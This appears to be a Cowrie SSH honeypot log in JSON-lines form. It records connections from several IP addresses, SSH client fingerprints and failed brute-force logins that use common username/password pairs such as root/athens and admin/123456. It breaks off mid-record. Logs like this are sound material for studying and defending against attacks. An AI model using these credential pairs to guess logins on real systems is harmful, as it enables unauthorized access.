{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:18.343577Z","src_ip":"205.209.121.72","session":"5d1ee6c657b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:18.349733Z","src_ip":"205.209.121.72","session":"5d1ee6c657b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"athens","message":"login attempt [root/athens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:18.407383Z","src_ip":"205.209.121.72","session":"5d1ee6c657b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:19.418134Z","src_ip":"205.209.121.72","session":"5d1ee6c657b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":33654,"dst_ip":"10.17.0.5","dst_port":22,"session":"54f3b446de6b","protocol":"ssh","message":"New connection: 43.163.119.215:33654 (10.17.0.5:22) [session: 54f3b446de6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:36.512655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:36.517819Z","src_ip":"43.163.119.215","session":"54f3b446de6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:36.763830Z","src_ip":"43.163.119.215","session":"54f3b446de6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:37.501553Z","src_ip":"43.163.119.215","session":"54f3b446de6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:38.751301Z","src_ip":"43.163.119.215","session":"54f3b446de6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":52264,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ed1215d416d","protocol":"ssh","message":"New connection: 163.7.9.84:52264 (10.17.0.5:22) [session: 8ed1215d416d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:41.981224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:41.985753Z","src_ip":"163.7.9.84","session":"8ed1215d416d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:42.237728Z","src_ip":"163.7.9.84","session":"8ed1215d416d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:43.278629Z","src_ip":"163.7.9.84","session":"8ed1215d416d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:44.543770Z","src_ip":"163.7.9.84","session":"8ed1215d416d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":37882,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8636dc9441e","protocol":"ssh","message":"New connection: 202.29.225.206:37882 (159.203.135.109:22) [session: c8636dc9441e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:44.698120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:44.703125Z","src_ip":"202.29.225.206","session":"c8636dc9441e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:44.950012Z","src_ip":"202.29.225.206","session":"c8636dc9441e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:45.973320Z","src_ip":"202.29.225.206","session":"c8636dc9441e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:47.222332Z","src_ip":"202.29.225.206","session":"c8636dc9441e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":49116,"dst_ip":"10.17.0.5","dst_port":22,"session":"49ebe9e4e62b","protocol":"ssh","message":"New connection: 43.163.119.215:49116 (10.17.0.5:22) [session: 49ebe9e4e62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:48.269353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:48.273401Z","src_ip":"43.163.119.215","session":"49ebe9e4e62b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:48.510401Z","src_ip":"43.163.119.215","session":"49ebe9e4e62b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:49.222979Z","src_ip":"43.163.119.215","session":"49ebe9e4e62b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:50.463690Z","src_ip":"43.163.119.215","session":"49ebe9e4e62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":58100,"dst_ip":"159.203.135.109","dst_port":22,"session":"a53faa7685e3","protocol":"ssh","message":"New connection: 186.116.56.108:58100 (159.203.135.109:22) [session: a53faa7685e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:59.417038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:59.421437Z","src_ip":"186.116.56.108","session":"a53faa7685e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:59.515271Z","src_ip":"186.116.56.108","session":"a53faa7685e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b4e0efbda27","protocol":"ssh","message":"New connection: 43.163.119.215:51690 (10.17.0.5:22) [session: 0b4e0efbda27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:59.671831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:59.676675Z","src_ip":"43.163.119.215","session":"0b4e0efbda27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bingo123","message":"login attempt [root/bingo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:59.905393Z","src_ip":"186.116.56.108","session":"a53faa7685e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:30:59.922498Z","src_ip":"43.163.119.215","session":"0b4e0efbda27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:00.662345Z","src_ip":"43.163.119.215","session":"0b4e0efbda27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:00.997791Z","src_ip":"186.116.56.108","session":"a53faa7685e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:01.910977Z","src_ip":"43.163.119.215","session":"0b4e0efbda27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":33662,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e74ed7c7bb","protocol":"ssh","message":"New connection: 43.163.119.215:33662 (10.17.0.5:22) [session: 24e74ed7c7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:02.093941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:02.116930Z","src_ip":"43.163.119.215","session":"24e74ed7c7bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:02.350815Z","src_ip":"43.163.119.215","session":"24e74ed7c7bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:03.275674Z","src_ip":"43.163.119.215","session":"24e74ed7c7bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:04.515864Z","src_ip":"43.163.119.215","session":"24e74ed7c7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":45390,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6188c93a012","protocol":"ssh","message":"New connection: 43.163.119.215:45390 (10.17.0.5:22) [session: e6188c93a012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:05.358016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:31:05.362980Z","src_ip":"43.163.119.215","session":"e6188c93a012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"